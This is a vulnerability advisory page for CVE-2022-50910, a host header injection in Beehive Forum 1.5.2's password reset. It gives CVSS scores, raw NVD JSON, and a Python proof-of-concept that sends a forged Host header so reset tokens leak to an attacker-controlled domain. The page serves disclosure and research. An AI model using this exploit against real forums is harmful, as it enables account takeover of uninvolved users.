Security Vulnerability Report
中文
CVE-2022-50910 CVSS 9.8 CRITICAL

CVE-2022-50910

Published: 2026-01-13 23:15:54
Last Modified: 2026-02-02 16:16:16

Description

Beehive Forum 1.5.2 contains a host header injection vulnerability in the forgot password functionality that allows attackers to manipulate password reset requests. Attackers can inject a malicious host header to intercept password reset tokens and change victim account passwords without direct authentication.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:beehiveforum:beehive_forum:1.5.2:*:*:*:*:*:*:* - VULNERABLE
Beehive Forum < 1.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2022-50910 Beehive Forum Host Header Injection PoC # Target: Beehive Forum 1.5.2 - Password Reset Function # Vulnerability: Host Header Injection in forgot password functionality import requests import argparse def exploit_host_header_injection(target_url, attacker_domain): """ Exploit Host Header Injection in Beehive Forum password reset Args: target_url: Base URL of the vulnerable Beehive Forum instance attacker_domain: Attacker's controlled domain to receive reset tokens """ # Target the forgot password endpoint forgot_password_url = f"{target_url}/forgot_password.php" # Payload: Inject malicious Host header headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'application/x-www-form-urlencoded', } # Form data with victim email data = { 'email': '[email protected]', 'submit': 'Submit' } print(f"[*] Sending malicious request to: {forgot_password_url}") print(f"[*] Injected Host header: {attacker_domain}") try: response = requests.post( forgot_password_url, headers=headers, data=data, allow_redirects=False, timeout=10 ) print(f"[+] Request sent successfully") print(f"[+] Status Code: {response.status_code}") # The password reset email will be sent to victim # but the reset link will point to attacker_domain # Attacker's server should capture the reset token from the URL return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def setup_attacker_server(port=8080): """ Simple HTTP server to capture password reset tokens Run this on attacker-controlled domain """ # In real attack, set up a server to log incoming requests # The reset URL will be like: # http://attacker_domain/reset_password.php?token=XXX pass if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2022-50910 PoC') parser.add_argument('--target', required=True, help='Target Beehive Forum URL') parser.add_argument('--attacker', required=True, help='Attacker controlled domain') args = parser.parse_args() exploit_host_header_injection(args.target, args.attacker)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50910", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:53.983", "lastModified": "2026-02-02T16:16:16.023", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beehive Forum 1.5.2 contains a host header injection vulnerability in the forgot password functionality that allows attackers to manipulate password reset requests. Attackers can inject a malicious host header to intercept password reset tokens and change victim account passwords without direct authentication."}, {"lang": "es", "value": "Beehive Forum 1.5.2 contiene una vulnerabilidad de inyección de encabezado de host en la funcionalidad de 'olvidé mi contraseña' que permite a los atacantes manipular las solicitudes de restablecimiento de contraseña. Los atacantes pueden inyectar un encabezado de host malicioso para interceptar tokens de restablecimiento de contraseña y cambiar las contraseñas de las cuentas de las víctimas sin autenticación directa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:beehiveforum:beehive_forum:1.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "FF395104-2E52-4072-9830-4F9A0582C635"}]}]}], "references": [{"url": "https://imgur.com/a/hVlgpCg", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://sourceforge.net/projects/beehiveforum/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.beehiveforum.co.uk/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50923", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/beehive-forum-account-takeover", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50923", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/beehive-forum-account-takeover", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}